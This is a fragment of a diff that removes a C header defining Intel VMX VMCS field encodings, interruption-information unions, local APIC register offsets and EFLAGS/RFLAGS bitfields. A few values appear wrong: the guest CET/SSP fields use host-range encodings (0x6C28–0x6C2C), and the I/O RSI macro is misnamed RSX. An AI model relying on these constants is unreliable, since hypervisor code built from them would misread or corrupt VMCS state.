VMCS_GUEST_GS_ACCESS_RIGHTS 0x0000481E - - /** - * Guest LDTR access rights. - */ -#define VMCS_GUEST_LDTR_ACCESS_RIGHTS 0x00004820 - - /** - * Guest TR access rights. - */ -#define VMCS_GUEST_TR_ACCESS_RIGHTS 0x00004822 - - /** - * Guest interruptibility state. - */ -#define VMCS_GUEST_INTERRUPTIBILITY_STATE 0x00004824 - - /** - * Guest activity state. - */ -#define VMCS_GUEST_ACTIVITY_STATE 0x00004826 - - /** - * Guest SMBASE. - */ -#define VMCS_GUEST_SMBASE 0x00004828 - - /** - * Guest IA32_SYSENTER_CS. - */ -#define VMCS_GUEST_SYSENTER_CS 0x0000482A - - /** - * VMX-preemption timer value. - */ -#define VMCS_GUEST_VMX_PREEMPTION_TIMER_VALUE 0x0000482E - /** - * @} - */ - - /** - * @defgroup vmcs_32_bit_host_state_fields \ - * 32-Bit Host-State Field - * - * 32-Bit Host-State Field. - * @{ - */ - /** - * Host IA32_SYSENTER_CS. - */ -#define VMCS_HOST_SYSENTER_CS 0x00004C00 - /** - * @} - */ - - /** - * @} - */ - - /** - * @defgroup vmcs_natural_width \ - * Natural-Width Fields - * - * Natural-Width Fields. - * - * @see Vol3D[B.4(NATURAL-WIDTH FIELDS)] (reference) - * @{ - */ - /** - * @defgroup vmcs_natural_width_control_fields \ - * Natural-Width Control Fields - * - * Natural-Width Control Fields - * @{ - */ - /** - * CR0 guest/host mask. - */ -#define VMCS_CTRL_CR0_GUEST_HOST_MASK 0x00006000 - - /** - * CR4 guest/host mask. - */ -#define VMCS_CTRL_CR4_GUEST_HOST_MASK 0x00006002 - - /** - * CR0 read shadow. - */ -#define VMCS_CTRL_CR0_READ_SHADOW 0x00006004 - - /** - * CR4 read shadow. - */ -#define VMCS_CTRL_CR4_READ_SHADOW 0x00006006 - - /** - * CR3-target value 0. - */ -#define VMCS_CTRL_CR3_TARGET_VALUE_0 0x00006008 - - /** - * CR3-target value 1. - */ -#define VMCS_CTRL_CR3_TARGET_VALUE_1 0x0000600A - - /** - * CR3-target value 2. - */ -#define VMCS_CTRL_CR3_TARGET_VALUE_2 0x0000600C - - /** - * CR3-target value 3. - */ -#define VMCS_CTRL_CR3_TARGET_VALUE_3 0x0000600E - /** - * @} - */ - - /** - * @defgroup vmcs_natural_width_read_only_data_fields \ - * Natural-Width Read-Only Data Fields - * - * Natural-Width Read-Only Data Fields. - * @{ - */ - /** - * Exit qualification. - */ -#define VMCS_EXIT_QUALIFICATION 0x00006400 - - /** - * I/O RCX. - */ -#define VMCS_IO_RCX 0x00006402 - - /** - * I/O RSI. - */ -#define VMCS_IO_RSX 0x00006404 - - /** - * I/O RDI. - */ -#define VMCS_IO_RDI 0x00006406 - - /** - * I/O RIP. - */ -#define VMCS_IO_RIP 0x00006408 - - /** - * Guest-linear address. - */ -#define VMCS_EXIT_GUEST_LINEAR_ADDRESS 0x0000640A - /** - * @} - */ - - /** - * @defgroup vmcs_natural_width_guest_state_fields \ - * Natural-Width Guest-State Fields - * - * Natural-Width Guest-State Fields. - * @{ - */ - /** - * Guest CR0. - */ -#define VMCS_GUEST_CR0 0x00006800 - - /** - * Guest CR3. - */ -#define VMCS_GUEST_CR3 0x00006802 - - /** - * Guest CR4. - */ -#define VMCS_GUEST_CR4 0x00006804 - - /** - * Guest ES base. - */ -#define VMCS_GUEST_ES_BASE 0x00006806 - - /** - * Guest CS base. - */ -#define VMCS_GUEST_CS_BASE 0x00006808 - - /** - * Guest SS base. - */ -#define VMCS_GUEST_SS_BASE 0x0000680A - - /** - * Guest DS base. - */ -#define VMCS_GUEST_DS_BASE 0x0000680C - - /** - * Guest FS base. - */ -#define VMCS_GUEST_FS_BASE 0x0000680E - - /** - * Guest GS base. - */ -#define VMCS_GUEST_GS_BASE 0x00006810 - - /** - * Guest LDTR base. - */ -#define VMCS_GUEST_LDTR_BASE 0x00006812 - - /** - * Guest TR base. - */ -#define VMCS_GUEST_TR_BASE 0x00006814 - - /** - * Guest GDTR base. - */ -#define VMCS_GUEST_GDTR_BASE 0x00006816 - - /** - * Guest IDTR base. - */ -#define VMCS_GUEST_IDTR_BASE 0x00006818 - - /** - * Guest DR7. - */ -#define VMCS_GUEST_DR7 0x0000681A - - /** - * Guest RSP. - */ -#define VMCS_GUEST_RSP 0x0000681C - - /** - * Guest RIP. - */ -#define VMCS_GUEST_RIP 0x0000681E - - /** - * Guest RFLAGS. - */ -#define VMCS_GUEST_RFLAGS 0x00006820 - - /** - * Guest pending debug exceptions. - */ -#define VMCS_GUEST_PENDING_DEBUG_EXCEPTIONS 0x00006822 - - /** - * Guest IA32_SYSENTER_ESP. - */ -#define VMCS_GUEST_SYSENTER_ESP 0x00006824 - - /** - * Guest IA32_SYSENTER_EIP. - */ -#define VMCS_GUEST_SYSENTER_EIP 0x00006826 - - /** - * Guest IA32_S_CET. - */ -#define VMCS_GUEST_S_CET 0x00006C28 - - /** - * Guest SSP. - */ -#define VMCS_GUEST_SSP 0x00006C2A - - /** - * Guest IA32_INTERRUPT_SSP_TABLE_ADDR. - */ -#define VMCS_GUEST_INTERRUPT_SSP_TABLE_ADDR 0x00006C2C - /** - * @} - */ - - /** - * @defgroup vmcs_natural_width_host_state_fields \ - * Natural-Width Host-State Fields - * - * Natural-Width Host-State Fields. - * @{ - */ - /** - * Host CR0. - */ -#define VMCS_HOST_CR0 0x00006C00 - - /** - * Host CR3. - */ -#define VMCS_HOST_CR3 0x00006C02 - - /** - * Host CR4. - */ -#define VMCS_HOST_CR4 0x00006C04 - - /** - * Host FS base. - */ -#define VMCS_HOST_FS_BASE 0x00006C06 - - /** - * Host GS base. - */ -#define VMCS_HOST_GS_BASE 0x00006C08 - - /** - * Host TR base. - */ -#define VMCS_HOST_TR_BASE 0x00006C0A - - /** - * Host GDTR base. - */ -#define VMCS_HOST_GDTR_BASE 0x00006C0C - - /** - * Host IDTR base. - */ -#define VMCS_HOST_IDTR_BASE 0x00006C0E - - /** - * Host IA32_SYSENTER_ESP. - */ -#define VMCS_HOST_SYSENTER_ESP 0x00006C10 - - /** - * Host IA32_SYSENTER_EIP. - */ -#define VMCS_HOST_SYSENTER_EIP 0x00006C12 - - /** - * Host RSP. - */ -#define VMCS_HOST_RSP 0x00006C14 - - /** - * Host RIP. - */ -#define VMCS_HOST_RIP 0x00006C16 - - /** - * Host IA32_S_CET. - */ -#define VMCS_HOST_S_CET 0x00006C18 - - /** - * Host SSP. - */ -#define VMCS_HOST_SSP 0x00006C1A - - /** - * Host IA32_INTERRUPT_SSP_TABLE_ADDR. - */ -#define VMCS_HOST_INTERRUPT_SSP_TABLE_ADDR 0x00006C1C - /** - * @} - */ - - /** - * @} - */ - - /** - * @} - */ - - /** - * @brief Valid interruption types - */ -typedef enum -{ - /** - * External interrupt. - */ - external_interrupt = 0x00000000, - - /** - * Non-maskable interrupt (NMI). - */ - non_maskable_interrupt = 0x00000002, - - /** - * Hardware exception (e.g,. \#PF). - */ - hardware_exception = 0x00000003, - - /** - * Software interrupt (INT n). - */ - software_interrupt = 0x00000004, - - /** - * Privileged software exception (INT1). - */ - privileged_software_exception = 0x00000005, - - /** - * Software exception (INT3 or INTO). - */ - software_exception = 0x00000006, - - /** - * Other event. This type is used for injection of events that are not delivered through the IDT. - */ - other_event = 0x00000007, -} interruption_type; - -/** - * @brief VM entry can be configured to conclude by delivering an event through the IDT (after all guest state and MSRs - * have been loaded). This process is called event injection and is controlled by these VM-entry control fields - * - * @see Vol3A[24.8.3(VM-Entry Controls for Event Injection)] (reference) - */ -typedef union -{ - struct - { - /** - * @brief Vector of interrupt or exception - * - * [Bits 7:0] Determines which entry in the IDT is used or which other event is injected. - */ - uint32_t vector : 8; -#define VMENTRY_INTERRUPT_INFORMATION_VECTOR_BIT 0 -#define VMENTRY_INTERRUPT_INFORMATION_VECTOR_FLAG 0xFF -#define VMENTRY_INTERRUPT_INFORMATION_VECTOR_MASK 0xFF -#define VMENTRY_INTERRUPT_INFORMATION_VECTOR(_) (((_) >> 0) & 0xFF) - - /** - * @brief Interruption type - * - * [Bits 10:8] Determines details of how the injection is performed. - */ - uint32_t interruption_type : 3; -#define VMENTRY_INTERRUPT_INFORMATION_INTERRUPTION_TYPE_BIT 8 -#define VMENTRY_INTERRUPT_INFORMATION_INTERRUPTION_TYPE_FLAG 0x700 -#define VMENTRY_INTERRUPT_INFORMATION_INTERRUPTION_TYPE_MASK 0x07 -#define VMENTRY_INTERRUPT_INFORMATION_INTERRUPTION_TYPE(_) (((_) >> 8) & 0x07) - - /** - * @brief Deliver error code (0 = do not deliver; 1 = deliver) - * - * [Bit 11] Determines whether delivery pushes an error code on the guest stack. - */ - uint32_t deliver_error_code : 1; -#define VMENTRY_INTERRUPT_INFORMATION_DELIVER_ERROR_CODE_BIT 11 -#define VMENTRY_INTERRUPT_INFORMATION_DELIVER_ERROR_CODE_FLAG 0x800 -#define VMENTRY_INTERRUPT_INFORMATION_DELIVER_ERROR_CODE_MASK 0x01 -#define VMENTRY_INTERRUPT_INFORMATION_DELIVER_ERROR_CODE(_) (((_) >> 11) & 0x01) - uint32_t reserved1 : 19; - - /** - * @brief Valid - * - * [Bit 31] VM entry injects an event if and only if the valid bit is 1. The valid bit in this field is cleared on every VM - * exit. - */ - uint32_t valid : 1; -#define VMENTRY_INTERRUPT_INFORMATION_VALID_BIT 31 -#define VMENTRY_INTERRUPT_INFORMATION_VALID_FLAG 0x80000000 -#define VMENTRY_INTERRUPT_INFORMATION_VALID_MASK 0x01 -#define VMENTRY_INTERRUPT_INFORMATION_VALID(_) (((_) >> 31) & 0x01) - }; - - uint32_t flags; -} vmentry_interrupt_information; - -/** - * @brief VM entry can be configured to conclude by delivering an event through the IDT (after all guest state and MSRs - * have been loaded). This process is called event injection and is controlled by these VM-entry control fields - * - * @see Vol3A[24.9.2(Information for VM Exits Due to Vectored Events)] (reference) - */ -typedef union -{ - struct - { - /** - * [Bits 7:0] Vector of interrupt or exception. - */ - uint32_t vector : 8; -#define VMEXIT_INTERRUPT_INFORMATION_VECTOR_BIT 0 -#define VMEXIT_INTERRUPT_INFORMATION_VECTOR_FLAG 0xFF -#define VMEXIT_INTERRUPT_INFORMATION_VECTOR_MASK 0xFF -#define VMEXIT_INTERRUPT_INFORMATION_VECTOR(_) (((_) >> 0) & 0xFF) - - /** - * [Bits 10:8] Interruption type. - */ - uint32_t interruption_type : 3; -#define VMEXIT_INTERRUPT_INFORMATION_INTERRUPTION_TYPE_BIT 8 -#define VMEXIT_INTERRUPT_INFORMATION_INTERRUPTION_TYPE_FLAG 0x700 -#define VMEXIT_INTERRUPT_INFORMATION_INTERRUPTION_TYPE_MASK 0x07 -#define VMEXIT_INTERRUPT_INFORMATION_INTERRUPTION_TYPE(_) (((_) >> 8) & 0x07) - - /** - * [Bit 11] Deliver error code (0 = do not deliver; 1 = deliver). - */ - uint32_t error_code_valid : 1; -#define VMEXIT_INTERRUPT_INFORMATION_ERROR_CODE_VALID_BIT 11 -#define VMEXIT_INTERRUPT_INFORMATION_ERROR_CODE_VALID_FLAG 0x800 -#define VMEXIT_INTERRUPT_INFORMATION_ERROR_CODE_VALID_MASK 0x01 -#define VMEXIT_INTERRUPT_INFORMATION_ERROR_CODE_VALID(_) (((_) >> 11) & 0x01) - - /** - * [Bit 12] NMI unblocking due to IRET. - */ - uint32_t nmi_unblocking : 1; -#define VMEXIT_INTERRUPT_INFORMATION_NMI_UNBLOCKING_BIT 12 -#define VMEXIT_INTERRUPT_INFORMATION_NMI_UNBLOCKING_FLAG 0x1000 -#define VMEXIT_INTERRUPT_INFORMATION_NMI_UNBLOCKING_MASK 0x01 -#define VMEXIT_INTERRUPT_INFORMATION_NMI_UNBLOCKING(_) (((_) >> 12) & 0x01) - uint32_t reserved1 : 18; - - /** - * [Bit 31] Valid. - */ - uint32_t valid : 1; -#define VMEXIT_INTERRUPT_INFORMATION_VALID_BIT 31 -#define VMEXIT_INTERRUPT_INFORMATION_VALID_FLAG 0x80000000 -#define VMEXIT_INTERRUPT_INFORMATION_VALID_MASK 0x01 -#define VMEXIT_INTERRUPT_INFORMATION_VALID(_) (((_) >> 31) & 0x01) - }; - - uint32_t flags; -} vmexit_interrupt_information; - -/** - * @} - */ - - /** - * @defgroup apic \ - * Advanced Programmable Interrupt Controller (APIC) - * - * Software interacts with the local APIC by reading and writing its registers. APIC registers are memory-mapped to a - * 4-KByte region of the processor's physical address space with an initial starting address of FEE00000H. For correct APIC - * operation, this address space must be mapped to an area of memory that has been designated as strong uncacheable (UC). - * - * @remarks Registers are 32 bits, 64 bits, or 256 bits in width; all are aligned on 128-bit boundaries. All 32-bit - * registers should be accessed using 128-bit aligned 32-bit loads or stores. Some processors may support loads and stores - * of less than 32 bits to some of the APIC registers. This is model specific behavior and is not guaranteed to work on all - * processors. Any FP/MMX/SSE access to an APIC register, or any access that touches bytes 4 through 15 of an APIC register - * may cause undefined behavior and must not be executed. This undefined behavior could include hangs, incorrect results or - * unexpected exceptions, including machine checks, and may vary between implementations. Wider registers (64-bit or - * 256-bit) must be accessed using multiple 32-bit loads or stores, with all accesses being 128-bit aligned. - * @see Vol3A[10.4.1(The Local APIC Block Diagram)] (reference) - * @{ - */ - /** - * Local APIC Base Address. - * - * @remarks Reserved. - */ -#define APIC_BASE_ADDRESS 0xFEE00000 - - /** - * Local APIC ID Register. - */ -#define APIC_ID 0x00000020 - - /** - * Local APIC Version Register. - */ -#define APIC_VERSION 0x00000030 - - /** - * Task Priority Register (TPR). - */ -#define APIC_TASK_PRIORITY 0x00000080 - - /** - * Arbitration Priority Register (APR). - */ -#define APIC_ARBITRATION_PRIORITY 0x00000090 - - /** - * Processor Priority Register (PPR). - */ -#define APIC_PROCESSOR_PRIORITY 0x000000A0 - - /** - * EOI Register. - */ -#define APIC_EOI 0x000000B0 - - /** - * Remote Read Register (RRD). - */ -#define APIC_REMOTE_READ 0x000000C0 - - /** - * Logical Destination Register. - */ -#define APIC_LOGICAL_DESTINATION 0x000000D0 - - /** - * Destination Format Register. - * - * @see Vol3A[10.6.2.2(Logical Destination Mode)] - */ -#define APIC_DESTINATION_FORMAT 0x000000E0 - - /** - * Spurious Interrupt Vector Register. - * - * @see Vol3A[10.9(SPURIOUS INTERRUPT)] - */ -#define APIC_SPURIOUS_INTERRUPT_VECTOR 0x000000F0 - - /** - * In-Service Register (ISR); bits 31:0. - */ -#define APIC_IN_SERVICE_BITS_31_0 0x00000100 - - /** - * In-Service Register (ISR); bits 63:32. - */ -#define APIC_IN_SERVICE_BITS_63_32 0x00000110 - - /** - * In-Service Register (ISR); bits 95:64. - */ -#define APIC_IN_SERVICE_BITS_95_64 0x00000120 - - /** - * In-Service Register (ISR); bits 127:96. - */ -#define APIC_IN_SERVICE_BITS_127_96 0x00000130 - - /** - * In-Service Register (ISR); bits 159:128. - */ -#define APIC_IN_SERVICE_BITS_159_128 0x00000140 - - /** - * In-Service Register (ISR); bits 191:160. - */ -#define APIC_IN_SERVICE_BITS_191_160 0x00000150 - - /** - * In-Service Register (ISR); bits 223:192. - */ -#define APIC_IN_SERVICE_BITS_223_192 0x00000160 - - /** - * In-Service Register (ISR); bits 255:224. - */ -#define APIC_IN_SERVICE_BITS_255_224 0x00000170 - - /** - * Trigger Mode Register (TMR); bits 31:0. - */ -#define APIC_TRIGGER_MODE_BITS_31_0 0x00000180 - - /** - * Trigger Mode Register (TMR); bits 63:32. - */ -#define APIC_TRIGGER_MODE_BITS_63_32 0x00000190 - - /** - * Trigger Mode Register (TMR); bits 95:64. - */ -#define APIC_TRIGGER_MODE_BITS_95_64 0x000001A0 - - /** - * Trigger Mode Register (TMR); bits 127:96. - */ -#define APIC_TRIGGER_MODE_BITS_127_96 0x000001B0 - - /** - * Trigger Mode Register (TMR); bits 159:128. - */ -#define APIC_TRIGGER_MODE_BITS_159_128 0x000001C0 - - /** - * Trigger Mode Register (TMR); bits 191:160. - */ -#define APIC_TRIGGER_MODE_BITS_191_160 0x000001D0 - - /** - * Trigger Mode Register (TMR); bits 223:192. - */ -#define APIC_TRIGGER_MODE_BITS_223_192 0x000001E0 - - /** - * Trigger Mode Register (TMR); bits 255:224. - */ -#define APIC_TRIGGER_MODE_BITS_255_224 0x000001F0 - - /** - * Interrupt Request Register (IRR); bits 31:0. - */ -#define APIC_INTERRUPT_REQUEST_BITS_31_0 0x00000200 - - /** - * Interrupt Request Register (IRR); bits 63:32. - */ -#define APIC_INTERRUPT_REQUEST_BITS_63_32 0x00000210 - - /** - * Interrupt Request Register (IRR); bits 95:64. - */ -#define APIC_INTERRUPT_REQUEST_BITS_95_64 0x00000220 - - /** - * Interrupt Request Register (IRR); bits 127:96. - */ -#define APIC_INTERRUPT_REQUEST_BITS_127_96 0x00000230 - - /** - * Interrupt Request Register (IRR); bits 159:128. - */ -#define APIC_INTERRUPT_REQUEST_BITS_159_128 0x00000240 - - /** - * Interrupt Request Register (IRR); bits 191:160. - */ -#define APIC_INTERRUPT_REQUEST_BITS_191_160 0x00000250 - - /** - * Interrupt Request Register (IRR); bits 223:192. - */ -#define APIC_INTERRUPT_REQUEST_BITS_223_192 0x00000260 - - /** - * Interrupt Request Register (IRR); bits 255:224. - */ -#define APIC_INTERRUPT_REQUEST_BITS_255_224 0x00000270 - - /** - * Error Status Register. - */ -#define APIC_ERROR_STATUS 0x00000280 - - /** - * LVT Corrected Machine Check Interrupt (CMCI) Register. - */ -#define APIC_LVT_CORRECTED_MACHINE_CHECK_INTERRUPT 0x000002F0 - - /** - * Interrupt Command Register (ICR); bits 0-31. - */ -#define APIC_INTERRUPT_COMMAND_BITS_0_31 0x00000300 - - /** - * Interrupt Command Register (ICR); bits 32-63. - */ -#define APIC_INTERRUPT_COMMAND_BITS_32_63 0x00000310 - - /** - * LVT Timer Register. - */ -#define APIC_LVT_TIMER 0x00000320 - - /** - * LVT Thermal Sensor Register. - */ -#define APIC_LVT_THERMAL_SENSOR 0x00000330 - - /** - * LVT Performance Monitoring Counters Register. - */ -#define APIC_LVT_PERFORMANCE_MONITORING_COUNTERS 0x00000340 - - /** - * LVT LINT0 Register. - */ -#define APIC_LVT_LINT0 0x00000350 - - /** - * LVT LINT1 Register. - */ -#define APIC_LVT_LINT1 0x00000360 - - /** - * LVT Error Register. - */ -#define APIC_LVT_ERROR 0x00000370 - - /** - * Initial Count Register (for Timer). - */ -#define APIC_INITIAL_COUNT 0x00000380 - - /** - * Current Count Register (for Timer). - */ -#define APIC_CURRENT_COUNT 0x00000390 - - /** - * Divide Configuration Register (for Timer). - */ -#define APIC_DIVIDE_CONFIGURATION 0x000003E0 - /** - * @} - */ - - /** - * The 32-bit EFLAGS register contains a group of status flags, a control flag, and a group of system flags. The status - * flags (bits 0, 2, 4, 6, 7, and 11) of the EFLAGS register indicate the results of arithmetic instructions, such as the - * ADD, SUB, MUL, and DIV instructions. - * The system flags and IOPL field in the EFLAGS register control operating-system or executive operations. - * - * @see Vol1[3.4.3(EFLAGS)] (reference) - */ -typedef union -{ - struct - { - /** - * @brief Carry flag - * - * [Bit 0] Set if an arithmetic operation generates a carry or a borrow out of the mostsignificant bit of the result; - * cleared otherwise. This flag indicates an overflow condition for unsigned-integer arithmetic. It is also used in - * multiple-precision arithmetic. - */ - uint32_t carry_flag : 1; -#define EFLAGS_CARRY_FLAG_BIT 0 -#define EFLAGS_CARRY_FLAG_FLAG 0x01 -#define EFLAGS_CARRY_FLAG_MASK 0x01 -#define EFLAGS_CARRY_FLAG(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Reserved - always 1 - */ - uint32_t read_as_1 : 1; -#define EFLAGS_READ_AS_1_BIT 1 -#define EFLAGS_READ_AS_1_FLAG 0x02 -#define EFLAGS_READ_AS_1_MASK 0x01 -#define EFLAGS_READ_AS_1(_) (((_) >> 1) & 0x01) - - /** - * @brief Parity flag - * - * [Bit 2] Set if the least-significant byte of the result contains an even number of 1 bits; cleared otherwise. - */ - uint32_t parity_flag : 1; -#define EFLAGS_PARITY_FLAG_BIT 2 -#define EFLAGS_PARITY_FLAG_FLAG 0x04 -#define EFLAGS_PARITY_FLAG_MASK 0x01 -#define EFLAGS_PARITY_FLAG(_) (((_) >> 2) & 0x01) - uint32_t reserved1 : 1; - - /** - * @brief Auxiliary Carry flag - * - * [Bit 4] Set if an arithmetic operation generates a carry or a borrow out of bit 3 of the result; cleared otherwise. This - * flag is used in binary-coded decimal (BCD) arithmetic. - */ - uint32_t auxiliary_carry_flag : 1; -#define EFLAGS_AUXILIARY_CARRY_FLAG_BIT 4 -#define EFLAGS_AUXILIARY_CARRY_FLAG_FLAG 0x10 -#define EFLAGS_AUXILIARY_CARRY_FLAG_MASK 0x01 -#define EFLAGS_AUXILIARY_CARRY_FLAG(_) (((_) >> 4) & 0x01) - uint32_t reserved2 : 1; - - /** - * @brief Zero flag - * - * [Bit 6] Set if the result is zero; cleared otherwise. - */ - uint32_t zero_flag : 1; -#define EFLAGS_ZERO_FLAG_BIT 6 -#define EFLAGS_ZERO_FLAG_FLAG 0x40 -#define EFLAGS_ZERO_FLAG_MASK 0x01 -#define EFLAGS_ZERO_FLAG(_) (((_) >> 6) & 0x01) - - /** - * @brief Sign flag - * - * [Bit 7] Set equal to the most-significant bit of the result, which is the sign bit of a signed integer. (0 indicates a - * positive value and 1 indicates a negative value.) - */ - uint32_t sign_flag : 1; -#define EFLAGS_SIGN_FLAG_BIT 7 -#define EFLAGS_SIGN_FLAG_FLAG 0x80 -#define EFLAGS_SIGN_FLAG_MASK 0x01 -#define EFLAGS_SIGN_FLAG(_) (((_) >> 7) & 0x01) - - /** - * @brief Trap flag - * - * [Bit 8] Set to enable single-step mode for debugging; clear to disable single-step mode. - */ - uint32_t trap_flag : 1; -#define EFLAGS_TRAP_FLAG_BIT 8 -#define EFLAGS_TRAP_FLAG_FLAG 0x100 -#define EFLAGS_TRAP_FLAG_MASK 0x01 -#define EFLAGS_TRAP_FLAG(_) (((_) >> 8) & 0x01) - - /** - * @brief Interrupt enable flag - * - * [Bit 9] Controls the response of the processor to maskable interrupt requests. Set to respond to maskable interrupts; - * cleared to inhibit maskable interrupts. - */ - uint32_t interrupt_enable_flag : 1; -#define EFLAGS_INTERRUPT_ENABLE_FLAG_BIT 9 -#define EFLAGS_INTERRUPT_ENABLE_FLAG_FLAG 0x200 -#define EFLAGS_INTERRUPT_ENABLE_FLAG_MASK 0x01 -#define EFLAGS_INTERRUPT_ENABLE_FLAG(_) (((_) >> 9) & 0x01) - - /** - * @brief Direction flag - * - * [Bit 10] Controls string instructions (MOVS, CMPS, SCAS, LODS, and STOS). Setting the DF flag causes the string - * instructions to auto-decrement (to process strings from high addresses to low addresses). Clearing the DF flag causes - * the string instructions to auto-increment (process strings from low addresses to high addresses). - */ - uint32_t direction_flag : 1; -#define EFLAGS_DIRECTION_FLAG_BIT 10 -#define EFLAGS_DIRECTION_FLAG_FLAG 0x400 -#define EFLAGS_DIRECTION_FLAG_MASK 0x01 -#define EFLAGS_DIRECTION_FLAG(_) (((_) >> 10) & 0x01) - - /** - * @brief Overflow flag - * - * [Bit 11] Set if the integer result is too large a positive number or too small a negative number (excluding the - * sign-bit) to fit in the destination operand; cleared otherwise. This flag indicates an overflow condition for - * signed-integer (two's complement) arithmetic. - */ - uint32_t overflow_flag : 1; -#define EFLAGS_OVERFLOW_FLAG_BIT 11 -#define EFLAGS_OVERFLOW_FLAG_FLAG 0x800 -#define EFLAGS_OVERFLOW_FLAG_MASK 0x01 -#define EFLAGS_OVERFLOW_FLAG(_) (((_) >> 11) & 0x01) - - /** - * @brief I/O privilege level field - * - * [Bits 13:12] Indicates the I/O privilege level of the currently running program or task. The current privilege level - * (CPL) of the currently running program or task must be less than or equal to the I/O privilege level to access the I/O - * address space. The POPF and IRET instructions can modify this field only when operating at a CPL of 0. - */ - uint32_t io_privilege_level : 2; -#define EFLAGS_IO_PRIVILEGE_LEVEL_BIT 12 -#define EFLAGS_IO_PRIVILEGE_LEVEL_FLAG 0x3000 -#define EFLAGS_IO_PRIVILEGE_LEVEL_MASK 0x03 -#define EFLAGS_IO_PRIVILEGE_LEVEL(_) (((_) >> 12) & 0x03) - - /** - * @brief Nested task flag - * - * [Bit 14] Controls the chaining of interrupted and called tasks. Set when the current task is linked to the previously - * executed task; cleared when the current task is not linked to another task. - */ - uint32_t nested_task_flag : 1; -#define EFLAGS_NESTED_TASK_FLAG_BIT 14 -#define EFLAGS_NESTED_TASK_FLAG_FLAG 0x4000 -#define EFLAGS_NESTED_TASK_FLAG_MASK 0x01 -#define EFLAGS_NESTED_TASK_FLAG(_) (((_) >> 14) & 0x01) - uint32_t reserved3 : 1; - - /** - * @brief Resume flag - * - * [Bit 16] Controls the processor's response to debug exceptions. - */ - uint32_t resume_flag : 1; -#define EFLAGS_RESUME_FLAG_BIT 16 -#define EFLAGS_RESUME_FLAG_FLAG 0x10000 -#define EFLAGS_RESUME_FLAG_MASK 0x01 -#define EFLAGS_RESUME_FLAG(_) (((_) >> 16) & 0x01) - - /** - * @brief Virtual-8086 mode flag - * - * [Bit 17] Set to enable virtual-8086 mode; clear to return to protected mode without virtual-8086 mode semantics. - */ - uint32_t virtual_8086_mode_flag : 1; -#define EFLAGS_VIRTUAL_8086_MODE_FLAG_BIT 17 -#define EFLAGS_VIRTUAL_8086_MODE_FLAG_FLAG 0x20000 -#define EFLAGS_VIRTUAL_8086_MODE_FLAG_MASK 0x01 -#define EFLAGS_VIRTUAL_8086_MODE_FLAG(_) (((_) >> 17) & 0x01) - - /** - * @brief Alignment check (or access control) flag - * - * [Bit 18] If the AM bit is set in the CR0 register, alignment checking of user-mode data accesses is enabled if and only - * if this flag is 1. If the SMAP bit is set in the CR4 register, explicit supervisor-mode data accesses to user-mode pages - * are allowed if and only if this bit is 1. - * - * @see Vol3A[4.6(ACCESS RIGHTS)] - */ - uint32_t alignment_check_flag : 1; -#define EFLAGS_ALIGNMENT_CHECK_FLAG_BIT 18 -#define EFLAGS_ALIGNMENT_CHECK_FLAG_FLAG 0x40000 -#define EFLAGS_ALIGNMENT_CHECK_FLAG_MASK 0x01 -#define EFLAGS_ALIGNMENT_CHECK_FLAG(_) (((_) >> 18) & 0x01) - - /** - * @brief Virtual interrupt flag - * - * [Bit 19] Virtual image of the IF flag. Used in conjunction with the VIP flag. (To use this flag and the VIP flag the - * virtual mode extensions are enabled by setting the VME flag in control register CR4.) - */ - uint32_t virtual_interrupt_flag : 1; -#define EFLAGS_VIRTUAL_INTERRUPT_FLAG_BIT 19 -#define EFLAGS_VIRTUAL_INTERRUPT_FLAG_FLAG 0x80000 -#define EFLAGS_VIRTUAL_INTERRUPT_FLAG_MASK 0x01 -#define EFLAGS_VIRTUAL_INTERRUPT_FLAG(_) (((_) >> 19) & 0x01) - - /** - * @brief Virtual interrupt pending flag - * - * [Bit 20] Set to indicate that an interrupt is pending; clear when no interrupt is pending. (Software sets and clears - * this flag; the processor only reads it.) Used in conjunction with the VIF flag. - */ - uint32_t virtual_interrupt_pending_flag : 1; -#define EFLAGS_VIRTUAL_INTERRUPT_PENDING_FLAG_BIT 20 -#define EFLAGS_VIRTUAL_INTERRUPT_PENDING_FLAG_FLAG 0x100000 -#define EFLAGS_VIRTUAL_INTERRUPT_PENDING_FLAG_MASK 0x01 -#define EFLAGS_VIRTUAL_INTERRUPT_PENDING_FLAG(_) (((_) >> 20) & 0x01) - - /** - * @brief Identification flag - * - * [Bit 21] The ability of a program to set or clear this flag indicates support for the CPUID instruction. - */ - uint32_t identification_flag : 1; -#define EFLAGS_IDENTIFICATION_FLAG_BIT 21 -#define EFLAGS_IDENTIFICATION_FLAG_FLAG 0x200000 -#define EFLAGS_IDENTIFICATION_FLAG_MASK 0x01 -#define EFLAGS_IDENTIFICATION_FLAG(_) (((_) >> 21) & 0x01) - uint32_t reserved4 : 10; - }; - - uint32_t flags; -} eflags; - -/** - * The 64-bit RFLAGS register contains a group of status flags, a control flag, and a group of system flags in 64-bit mode. - * The upper 32 bits of RFLAGS register is reserved. The lower 32 bits of RFLAGS is the same as EFLAGS. - * - * @see EFLAGS - * @see Vol1[3.4.3.4(RFLAGS Register in 64-Bit Mode)] (reference) - */ -typedef union -{ - struct - { - /** - * @brief Carry flag - * - * [Bit 0] See the description in EFLAGS. - */ - uint64_t carry_flag : 1; -#define RFLAGS_CARRY_FLAG_BIT 0 -#define RFLAGS_CARRY_FLAG_FLAG 0x01 -#define RFLAGS_CARRY_FLAG_MASK 0x01 -#define RFLAGS_CARRY_FLAG(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Reserved - always 1 - */ - uint64_t read_as_1 : 1; -#define RFLAGS_READ_AS_1_BIT 1 -#define RFLAGS_READ_AS_1_FLAG 0x02 -#define RFLAGS_READ_AS_1_MASK 0x01 -#define RFLAGS_READ_AS_1(_) (((_) >> 1) & 0x01) - - /** - * @brief Parity flag - * - * [Bit 2] See the description in EFLAGS. - */ - uint64_t parity_flag : 1; -#define RFLAGS_PARITY_FLAG_BIT 2 -#define RFLAGS_PARITY_FLAG_FLAG 0x04 -#define RFLAGS_PARITY_FLAG_MASK 0x01 -#define RFLAGS_PARITY_FLAG(_) (((_) >> 2) & 0x01) - uint64_t reserved1 : 1; - - /** - * @brief Auxiliary Carry flag - * - * [Bit 4] See the description in EFLAGS. - */ - uint64_t auxiliary_carry_flag : 1; -#define RFLAGS_AUXILIARY_CARRY_FLAG_BIT 4 -#define RFLAGS_AUXILIARY_CARRY_FLAG_FLAG 0x10 -#define RFLAGS_AUXILIARY_CARRY_FLAG_MASK 0x01 -#define RFLAGS_AUXILIARY_CARRY_FLAG(_) (((_) >> 4) & 0x01) - uint64_t reserved2 : 1; - - /** - * @brief Zero flag - * - * [Bit 6] See 